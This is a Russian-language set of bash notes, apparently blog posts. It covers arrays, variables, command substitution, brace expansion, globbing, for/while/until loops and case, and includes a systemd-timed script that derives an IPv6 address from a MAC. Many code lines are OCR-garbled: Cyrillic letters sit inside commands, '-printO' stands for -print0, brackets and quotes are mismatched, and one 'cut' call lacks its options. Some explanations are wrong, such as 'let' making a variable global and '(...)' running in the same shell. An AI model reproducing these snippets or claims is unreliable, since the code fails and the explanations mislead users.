х=('а'  'b'  'с') - Краткий вариант записи четырех предыдущих строк
echo ${x[l]} -  Считывание элемента массива
echo ${x[@]} - Считывание всех элементов массива
Для программистов исключительно важны массивы ассоциативных элементов, которые стали поддерживаться в bash, начиная с версии 4.0. 
Не забудьте, что массив сначала требуется специально объявить как ассоциативный с помощью dec 1 a re -A. 
В противном случае система сочтет, что это обычный массив. 
Тогда последовательности символов, содержащиеся в индексе, будут интерпретированы как О, и у вас получится обычный массив, состоящий из одного-единствеиного элемента (Index 0).
declare -Ay - Определение пустого массива ассоциативных элементов
y[abc]=123 - Присваивание элемента ассоциативного массива
y[efg]=xxx - Присваивание элемента ассоциативного массива
у=( [abc]=123 [efg]=xxx ) - Краткий вариант записи двух предыдущих строк
echo ${y[abc]|- Считывание одного элемента массива
Еще одно важное нововведение версии 4 заключается в том, что с помощью команды mapfile можно построчно преобразовать текстовый файл в элементы обычного массива:
mapfile z < текстовый_файл
Рубрики
bash

bash Присвоение / отображение переменной / глобальные / локальные переменные

Присвоение и отображение переменной:

Присвоение делается с помощью оператора присваивания =. 
var=abc

Чтобы отобразить содержимое оболочковой переменной, нужно воспользоваться командой echo, 
при этом перед именем переменной необходимо поставить символ $:
echo $var 
abc

При присваивании переменных нельзя оставлять между оператором присваивания = и именем переменной пробелов. 
Запись var = abc синтаксически неверная и работать не будет!
Если в содержимом оболочковой переменной должны содержаться пробелы или другие специальные символы, 
то при присваивании всю последовательность символов необходимо заключить в одиночные кавычки:
var='abc efg"

При присваивании можно записывать друг за другом сразу по несколько последовательностей символов. 
В следующем примере переменной а присваивается новая последовательность символов, состоящая из содержимого этой переменной, 
последовательности символов ххх и еще раз из исходного содержимого:
a=3
a=$a'xxx'$a 
echo $a ЗхххЗ

В следующем примере имеющаяся переменная PATH (со списком всех каталогов, в которых может осуществляться поиск исполняемых программ) 
дополняется в домашнем каталоге каталогом bin. 
Теперь вы можете выполнять любые команды, находящиеся в этом каталоге (не указывая путь полностью).
echo SPATH
/usr/1 ocal/sbin:/usr/1ocal/bi n:/usr/sbi n:/usr/bi n:/sbin:/bin
PATH=$PATH':/home/kofler/bin
echo $PATH
/usr/1ocal/sbin:/usr/1ocal/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/kofler/bin
Вычисления с переменными можно производить в квадратных скобках описанным выше способом:
a=3 
а=$[$а*4] 
echo $a 12


Если результат выполнения команды следует сохранить в переменной, нужно произвести описанную выше подстановку команды по образцу $(команда). 
В следующем примере текущий каталог сохраняется в а:
a=$(pwd)
echo $a /home/kofler

!!! Содержимое переменных сохраняется только в оболочке:

Содержимое переменных сохраняется только в оболочке.
При выходе из оболочки эта информация теряется. 
Если определенные переменные требуются вам снова и снова, то присваивание следует производить в файле /etc/profile или .profile домашнего каталога.
Оба этих файла (если они имеются) автоматически выполняются при запуске bash.
Если вы хотите сохранить содержимое одной из переменных в файле, то нужно выполнить команду echo с переадресацией ввода:
echo $var > file

Глобальные и локальные переменные:

Обратите внимание, что все переменные, полученные в результате обычного присваивания, могут быть только локальными! 
Чтобы задать глобальную переменную, следует выполнить export или declare -x.
Для управления переменными в оболочке существуют многочисленные команды, которые функционально иногда дублируют друг друга. 
Например, для объявления глобальной переменной можно использовать как export, так и declare -x. 
Следующие примеры приводятся для того, чтобы немного прояснить ситуацию с дублирующимися командами:
       
а=3 - Краткий способ записи let, переменная а является локальной
declare a=3 - Присваивает локальной переменной а значение (как let)
declare -x а=3 - Присваивает локальной переменной а значение (как export)
export - Отображает все глобальные переменные
export a - Делает переменную а глобальной
export a=3 - Присваивает глобальной переменной а значение
let a=3 - Присваивает глобальной переменной а значение
local a=3 - Определяет переменную а как локальную (лишь в функциях оболочки)
printenv  - Как и export, отображает все глобальные переменные
set - Отображает все переменные (и локальные, и глобальные)
unset a - Удаляет переменную а

Переменные, задаваемые оболочкой:

Программы оболочки могут обращаться и к некоторым переменным, заранее заданным bash. 
Эти переменные нельзя изменять в ходе присваивания, их можно только считывать. 
Имя переменной состоит из различных специальных символов.
Переменные даются уже с предшествующим символом $.
$? - Возвращаемое значение последней команды
$! - Номер PID последнего запущенного фонового процесса
$$ - PID текущей оболочки
$0 - Имя файла, содержащего только что выполненный файл оболочки (или имя символьной ссылки, указывающей на файл)
$# - Количество параметров, переданных программе оболочки
От $1 до $9 - Параметр от 1 до 9
$* или $@ - Совокупность всех переданных параметров
Рубрики
bash

bash Подстановка команд / find

!!! Обратите внимание:

символ '  используется для обозначения последовательностей символов, 
a ` — для подстановки команд (см. выше). Эти символы не равнозначны!

Подстановка команд:

`` - кавычки на искосок
Пользуясь подстановкой команд, можно заменить команду в командной строке результатом этой команды. 
Для этого команда должна быть заключена между двумя символами \ Альтернативная запись — $(команда). 
Второй метод предпочтителен, так как, во-первых, в таком случае вы избегаете путаницы с тремя разными кавычками (", ' и v), во-вторых, второй метод допускает вложения.
Обозначенная таким образом команда будет заменена результатом ее выполнения. 
Подобная запись обеспечивает вложенный вызов нескольких команд, причем одна команда передает результат своего выполнения другой. 

Две представленные далее равнозначные команды проясняют принцип работы этого чрезвычайно мощного механизма:
ls -lgo   `find /usr/share -name '*README*'
ls -lgo $(find /usr/share -name '*README*')

Вышеуказанная команда сначала выполняет find /usr/share -name '*README*'. 
Результат выполнения этой команды — список всех файлов, находящихся в каталоге /usr/share и содержащих последовательность символов README. 
Теперь этот список вставляется в командную строку на месте команды find. 

Тогда командная строка может записываться следующим образом:
Получить такой результат, используя обычный программный канал с символом не удастся. 
Команда ls не ожидает никакого стандартного ввода, а также игнорирует информацию, передаваемую find через программный канал. 
И именно поэтому следующая команда отображает только содержимое текущего каталога. 
Результаты find выводиться не будут!
(не работает!) find /usr/share -name '*README*'  | ls -l  

Есть еще одно решение, позволяющее обойтись без подстановки команд: 
с помощью команды xargs данные стандартного ввода передаются указанной команде:
find /usr/share -name '*README*'   | xargs ls -1

Важное достоинство xargs заключается в том, что объем данных, которые можно переработать, ничем не ограничен. 
При необходимости xargs вызывает команду неоднократно и передает получаемые данные в стандартный ввод в несколько этапов. 
Напротив, при подстановке команд максимальная длина командной строки ограничена, как правило, несколькими тысячами символов.

Если в именах файлов содержатся пробелы, передача таких имен может вызывать затруднения. Чтобы избежать этих проблем, передайте команде find параметр
-printO, а команде xargs — параметр -null. 
Следующая команда ставит для всех каталогов бит execute:
find -type d -printO | xargs --null chmod a+x

Примеры:

ls -lgo   `find /usr/share -name '*README*'
ls -lgo $(find /usr/share -name '*README*')
find -type d -printO | xargs --null chmod a+x

find + rm:

Следующая команда удаляет все резервные копии, содержащиеся в данном каталоге и во всех подкаталогах. 
При этом find строит список всех сомнительных файлов и передает его команде rm через подстановку команды ($(команда)).

rm $(find .  -name '*-')

Рубрики
bash

bash Фигурные скобки

Образование последовательностей символов с помощью {}. 
Из последовательностей символов, заключенных в фигурные скобки, bash образует любые мыслимые последовательности символов. 
Официальное название такого механизма подстановки — раскрытие скобок (brace expansion). 
Выражение part{1.2a.2b} означает parti part2a part2b. 
Пользуясь раскрытием скобок, можно облегчить печатную работу, если вы обращаетесь ко многим файлам и каталогам с похожими именами. 
По сравнению с джокерными символами * и ? есть определенное преимущество — можно образовывать имена еще не существующих файлов (это касается, например, mkdi r).

echo {a,b}{1.2,3}
al a2 a3 bl Ь2 ЬЗ

echo {ab,cd}{123,456.789}-{I,II}
abl23-I abl23-II ab456-I ab456-II ab789-I ab789-II cdl23-I cdl23-II cd456-I cd456-II cd789-I cd789-II

Вычисление арифметических выражений с помощью квадратных скобак:

[] 
Обычно в bash нельзя производить вычисления. 
Если написать 2 + 3, то оболочка «не сообразит», что делать с этим выражением. 
Если вы хотите вычислять, работая с оболочкой, нужно заключить выражение в квадратные скобки и поставить перед ними символ $:

echo $[2+3] 
5

В квадратных скобках можно использовать большинство операторов, 
известных из языка программирования С: +, -, *, / для четырех основных арифметических операций, 
% для вычислений по модулю,
==, !=, <, <=, > и >= для сравнений, 
« и » для перемещений битов, !, && и | | для логических операторов NO, AND и OR и т. д. 
Все вычисления выполняются с 32-битными целыми числами (диапазон чисел: ±2 147 483 648). 
Если следует извлечь отдельные значения из переменных перед переменными, необходимо ставить символ $.

Есть еще один способ производить вычисления — с помощью команды ехрг. 
Это самостоятельная команда Linux, работающая независимо от bash.

Рубрики
bash

bash Примеры про звездочку (Астериск)

echo /*
/bin /boot /dev /etc /home /lib /lost+found /media /misc /mnt /net /opt
/proc /root /sbin /selinux /srv /sys /tmp /usr /var

echo /[a-f]*
/bin /boot /dev /etc


По умолчанию * не учитывает файлов и каталогов, имена которых начинаются с точки (иными словами, скрытых). 
Если вам требуется такой эффект, необходимо воспользоваться bash-параметром globdot:
shopt -s dotglob 
echo *
user$ shopt -u dotglob    (dotglob снова деактивирована)
Рубрики
bash

bash Механизмы подстановки / регулярные выражения

? - Любой символ
* - Любое количество любых символов (в том числе ни одного), но не *-файлы!
** - Любые файлы и каталоги, в том числе из всех подкаталогов (начиная с версии bash 4.0 — shopt -s globstar)
[abc] - Один из символов, указанных в скобках
[a-f] - Символ из указанного диапазона
[!abc] - Любые символы, кроме тех, что указаны в скобках
[^аЬс] - Аналогично предыдущему
~ - Сокращенное обозначение домашнего каталога
. - Текущий каталог
.. - Каталог на один уровень выше
ab{l,2,3} - Возврат abl аЬ2 аЬЗ
a{1..4} - Возврат al а2 аЗ а4
$[3*4] - Арифметические вычисления
`команда` - Замена команды результатом ее выполнения
$(команда) - Вариант, аналогичный предыдущему
Команда "символ" - Отмена интерпретацию любых специальных символов, кроме $
Команда 'символ' - Похоже на предыдущий вариант, но с большими ограничениями (не допускает подстановки переменных)
Рубрики
bash

bash ссылки

Подробная дополнительная информация и многочисленные примеры  на отличном сайте http://bash-hackers.org/.
Рубрики
bash

ipv6_gen_from_mac

vim gen_ipv6_from_mac.sh
------------------------
#!/bin/bash
# vars
IFACE=ens5
PREFIX=2001:abc::
PROG_IPV6CALC="/usr/bin/ipv6calc"

# Script test prog
[[ -e "${PROG_IPV6CALC}" ]]
if [[ "$?" != "0" ]]; then
        echo -e "\n\tPlease install ipv6calc \n\tNot run script, exit. \n ";
        exit;
fi

#functions
macaddr(){
ip link show | grep -A 1 ${IFACE} | grep ether | awk '{print $2}'
}
ipgen(){
ipv6calc --in prefix+mac ${PREFIX} "$(macaddr)" 2>/dev/null
}
ipaddressthen(){
ip -o a | grep ${IFACE} | grep "$(ipgen)" | awk '{print $4}'
}
badipaddressthen(){
echo "$(ipaddressthen)"|sed 's/\/64//'
}


#
IP_ADDRESS_AND_PREFIX_LIKE="$(ipgen)/64"

echo -e " \n\tInterface: \t${IFACE} \n\tPrefix:\t${PREFIX}\n\tIP address generated:\t$(ipgen) \n\tIP address then:\t$(ipaddressthen)\n"

# Script add ip
if [[ "$(badipaddressthen)" != "$(ipgen)" ]]
     then
      ip -6 a a ${IP_ADDRESS_AND_PREFIX_LIKE} dev ${IFACE}
      echo -e "ADD IP ${IP_ADDRESS_AND_PREFIX_LIKE} dev  ${IFACE}"
else
   echo -e "END"
   exit
fi
------------------------


vim  /etc/systemd/system/gen_ipv6_from_mac.service
--------------------------------------------------
[Unit]
Description=gen_ipv6_from_mac.sh
 
[Service]
Type=oneshot
ExecStart=/usr/bin/gen_ipv6_from_mac.sh
Restart=on-failure
 
[Install]
WantedBy=multi-user.target
--------------------------------------------------


vim /etc/systemd/system/gen_ipv6_from_mac.timer
-----------------------------------------------
[Unit]
Description=gen_ipv6_from_mac
 
[Timer]
OnUnitActiveSec=30 

[Install]
WantedBy=timers.target
-----------------------------------------------






systemctl daemon-reload
systemctl enable gen_ipv6_from_mac.service
systemctl enable gen_ipv6_from_mac.timer
systemctl start gen_ipv6_from_mac.service
systemctl start gen_ipv6_from_mac.timer
systemctl status gen_ipv6_from_mac.service
systemctl status gen_ipv6_from_mac.timer

systemctl list-timers 
systemctl list-timers gen_ipv6_from_mac.timer


/etc/systemd/system/gen_ipv6_from_mac.timer
каждые 30 сек долбит в скрипт и для ipv6 генерируется адрес (естественно если его еще нет, то генерит, если есть, то не генерит)


Рубрики
bash

bash Специальные символы, используемые в bash

;	        Отделение команд друг от друга
:	        Команда оболочки, ничего не делает
.	        Запуск оболочки без собственного командного подпроцессора (.file соответствует исходному файлу)
#	        Ввод комментария
#!/bin/sh       Идентификация оболочки, в которой будет выполняться программа
&               Выполнение команды в фоновом режиме (com &)
&&              Выполнение одной команды в зависимости от результата другой (coml && com2)
&>              Переадресация стандартного вывода и ошибок (соответствует >&)
|               Создание программных каналов (coml | com2)
||              Выполнение одной команды в зависимости от результата другой (coml || com2)
*               Джокерный символ для имен файлов (любое количество символов)
?               Джокерный символ для имен файлов (любой символ)
[abc]           Джокерный символ для имен файлов (любой символ из abc)
[ expression ]  Сокращенный вариант записи test expression
(...)           Выполнение команд в той же оболочке ((coml; com2))
{...}           Группирование команд
{,,}            Объединение нескольких последовательностей символов (а{1,2,3} -> al a2 аЗ)
{a..b}          Объединение нескольких последовательностей символов (Ь{4..6} -> Ь4 Ь5 Ь6)
~               Сокращенное обозначение домашнего каталога
>               Переадресация вывода в файл (com > file)
>>              Переадресация вывода и добавление его в существующий файл
>&              Переадресация стандартного вывода и ошибок (соответствует &>)
2>              Переадресация стандартного вывода ошибок
<               Переадресация ввода из файла (com < file)
<< end          Переадресация ввода из активного файла до завершения
$               Обозначение переменных (echo $var)
$!              Номер PID последнего процесса, запущенного в фоновом режиме
$$              PID актуальной оболочки
$0              Имя выполняемого в данный момент сценарного файла оболочки
$l-$9           Первые девять параметров, переданных команде
$#              Количество параметров, переданных программе оболочки
$* или $@       Совокупность всех переданных параметров
$?              Возвращаемое значение последней команды (0=ОК или номер ошибки)
$(...)          Подстановка команд (echo $(ls))
${...}          Различные специальные функции для обработки последовательностей символов
$[...]          Арифметические вычисления (echo $[2+3])
"..."           Предотвращение интерпретации большинства специальных символов
'...'           Предотвращение интерпретации всех специальных символов
`...`           Подстановка команд (echo `ls`)
?               Любой символ
*               Сколько угодно любых символов (а также ни одного)
[abe]           Один из символов, указанных в скобках
[a-f]           Один из символов, относящийся к указанному диапазону
[!abc]          Все символы, указанные в скобках, должны отсутствовать
[^аЬс]          Все символы, указанные в скобках, должны отсутствовать

ls -F

/       Каталог
*       Исполняемый файл
@       Символьная ссылка
-       Символьное устройство
+       Блочное устройство
=       Pipe, FIFO

Рубрики
bash

bash until

Циклы until:

Единственное отличие между циклами while и unti 1 заключается в том, что условие формулируется с противоположной логикой. 
Следующая команда эквивалентна вышеуказанному циклу while. При этом для формулировки условия i > 5 применяется оператор -gt (больше).
i=1; until [ $i  -gt 5 ]; do echo $i;  i=$[$i+1]; done
Рубрики
bash

bash while

Циклы while:

В следующем примере переменной i присваивается значение 1. 
Потом значение переменной, находящейся в теле цикла между do и done, при каждом выполнении цикла увеличивается на 1, пока не будет превышено значение 5. 
Обратите внимание, что условия должны указываться в квадратных скобках, как это делалось с условными переходами if, с командой test или с ее сокращенным вариантом.

Пример 0:

i=1; while [ $i -le 5 ]; do echo $i; i=$[$i+1]; done

Пример 1:

Следующий цикл обрабатывает все имена файлов, получаемые после выполнения команды ls *. jpg:
ls *.txt | while read file ; do echo "$file" ; done

Пример 2:

Следующий цикл обрабатывает все имена файлов, проходит по каждому файлу и печатает содержимое файла.
ls *.txt | while read file ; do echo "\\n ### \\n ### \\t $file \\n ###" && cat "$file" ; done

Бесконечный цикл

#!/bin/bash
while :
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

Бесконечный цикл

#!/bin/bash
while true
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

Бесконечный цикл показывать время каждую секунду

#!/bin/bash
while :;do clear ;date ;sleep 1;done

Бесконечный цикл меню

 
#!/bin/bash
# Purpose: Display various options to operator using menus
# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+
# ---------------------------------------------------------------------------
# capture CTRL+C, CTRL+Z and quit singles using the trap
trap '' SIGINT
trap ''  SIGQUIT
trap '' SIGTSTP
 
# display message and pause 
pause(){
	local m="$@"
	echo "$m"
	read -p "Press [Enter] key to continue..." key
}
 
# set an 
while :
do
	# show menu
	clear
	echo "---------------------------------"
	echo "	     M A I N - M E N U"
	echo "---------------------------------"
	echo "1. Show current date/time"
	echo "2. Show what users are doing"
	echo "3. Show top memory & cpu eating process"
	echo "4. Show network stats"
	echo "5. Exit"
	echo "---------------------------------"
	read -r -p "Enter your choice [1-5] : " c
	# take action
	case $c in
		1) pause "$(date)";;
		2) w| less;;
		3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;
		   echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;
		   echo;  pause;;
		4) netstat -s | less;;
		5) break;;
		*) Pause "Select between 1 to 5 only"
	esac
done

Рубрики
bash

bash for

For-циклы:

Циклы в bash создаются с помощью трех команд. Команда for осуществляет цикл со всеми элементами указанного списка. 
Команда while выполняет цикл до тех пор, пока указанное условие не перестанет выполняться. 
Команда until, наоборот, осуществляет цикл до тех пор, пока указанное условие не будет выполнено. 
Все три цикла можно досрочно завершить командой break. 
Команда continue пропускает оставшуюся часть тела цикла и запускает цикл заново.
В первом примере переменной i по очереди присваиваются последовательности символов a, b и с. 
В теле цикла между do и done выводится содержимое переменной. 
Обратите внимание, что в конце списка, а также в конце команды echo необходимо поставить точку с запятой. 
Отказаться от этих точек с запятой можно лишь тогда, когда ввод разделен на несколько строк (часто такое случается в сценарных файлах).

Список для for может быть построен с использованием джокерных символов для имен файлов или с использованием конструкций вида {..}, 
с помощью которых создаются последовательности символов. 

(В Linux/UNIX тильда (~) в конце имени файла обычно означает резервную копию. 
При работе с командой ср выражение $file всякий раз ставится в кавычках, 
чтобы имена файлов, содержащие пробелы, обрабатывались правильно.)

Если циклы for создаются без in ..., то переменные циклов получают по порядку все параметры, 
переданные при вызове (то есть это соответствует in $*). Похож на цикл case.
Но когда в примере с case передаются имена файлов, содержащие пробелы, без проблем не обходится. 
Bash интерпретирует пробелы как разделительные знаки и обрабатывает части имени файла отдельно. 

Пример 0 (консоль):

for i in a b с; do echo $i; done 

Пример 0 (скрипт):

#! /bin/sh
for i in a b c; do 
 echo $i 
done

Пример 1 (консоль(все файлы *. tex копируются в *.tex~.)):

for file in *.tex; do cp "$file" "$file~"; done

Пример 2:

#!/bin/bash
# Цикл проходит через все
# правильно справляется с пробелами в именах файлов
for i in "$@"; do 
 ls -l  "$i" 
done

Пример 3:

Выполняется команда ls и формируется список из файлов, дальше выводит содержимое файлов и каждый вывод отделается пустыми строками с #### и именем файла
for i in `ls` ;do echo -e "\\n#### $i \\n" && cat $i ;done 

Генерация списков и чисел:

for((i=1; i< 255; i++));do echo $i; done - генерируем число от 1 до 255 и выводим на экран

echo $(( RANDOM % (10 - 5 + 1 ) + 5 ))

seq -w 1 10000000000

Еще примеры:

# ping 
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

# ping 
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

# cut file
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

# sed edit file
for i in file1 file2 file3 ; do sed -i 's/123456/abvgd/g' /home/user/$i; done

# grep -R vnc /kvm/$(hostname -s)/*.xml | egrep -o "port='[0-9]+'" | sed -e "s/'//g" | awk -F"port=" '{print $2}' | sort -n

# openwrt hostname???
for i in `cat hosts.txt | tail -n 35 | grep -v "#"`; do echo " #### server IP = $i ###" && ssh root@$i uci get  system.@system[0].hostname; done

# parse MAC
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i ip a | grep ether | awk '{print $2}' && echo ; done

# parse MAC print host
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i uci get  system.@system[0].hostname && ip a | grep ether | awk '{print $2}' && echo ; done

##parse maccc
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i fdddd="`uci get  system.@system[0].hostname`" && echo $fdddd  && ip a | grep ether | awk '{print $2}' && echo ; done

#scp file
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do scp bat-hosts root@$i:/etc/bat-hosts; done

#scp nameserver 192.168.1.1
for i in `cat hosts.txt.ssh`; do scp resolv.conf ${i}:/etc/resolv.conf; done

#test scp resolv.conf
for i in `cat hosts.txt.ssh`; do ssh $i cat  /etc/resolv.conf; done


Рубрики
bash

bash case

Case-условные переходы:

Конструкции case вводятся ключевым словом case, за которым следует параметр, предназначенный для анализа (обычно это переменная). 
После ключевого слова in можно указать несколько возможных шаблонов строки, с которыми будет сравниваться параметр. 
При этом могут использоваться те же джокерные символы, что и при работе с именами файлов. Шаблон завершается круглой скобкой, то есть, например, --*). 
Это делается для распознавания таких последовательностей, которые начинаются с двух знаков «минус». Несколько шаблонов можно отделять друг от друга символом |. 
В таком случае проверяются оба шаблона. Например, *. с | *. h) служит для распознавания файлов *. с и *. h в одном и том же ветвлении программы.

Команды, идущие вслед за скобками, должны завершаться двумя точками с запятой. 
Если потребуется переход else, то в качестве последнего шаблона необходимо указать * — такому шаблону будут соответствовать все последовательности символов. 

При обработке конструкции с case учитывается только первый переход, в котором параметр соответствует указанному шаблону.

В следующем примере casetst показано применение case для классификации переданных параметров на имена файлов. 
Цикл для переменной i выполняется со всеми параметрами, переданными файлу оболочки. 
В этом цикле каждый отдельный параметр анализируется с помощью case. 
Если параметр начинается с дефиса (-), то он находится в конце переменной opt, в противном случае — в конце dat.

Тестовый запуск файла оболочки на практике показывает, как работает этот простой оператор выбора. 
Параметры, переданные по порядку без сортировки, подразделяются на имена файлов и параметры:
user$ casetst -x -у datl dat2 -z dat3
Options:   -x -у -z 
Files: datl dat2 dat3

По тому же принципу условные переходы case могут использоваться для классификации определенных расширений файлов (путем указания поискового шаблона *.abc). 
Если вы хотите плотнее заняться case-анализом, посмотрите файл оболочки /usr/bin/gnroff. 
В нем дается синтаксис параметров, передаваемых nroff, в виде, понятном родственной команде groff.

Пример скрипта casetst:

#! /bin/sh
# Пример casetst
 opt=     # Удаление opt и dat
 dat=

for i do   # Цикл для всех переданных параметров 
 case "$i" in
 -* ) opt="$opt $i";;
 * ) dat="$dat $i";; 
 esac
done     # Конец цикла 
 echo "Options: $opt" 
 echo "Files: $dat"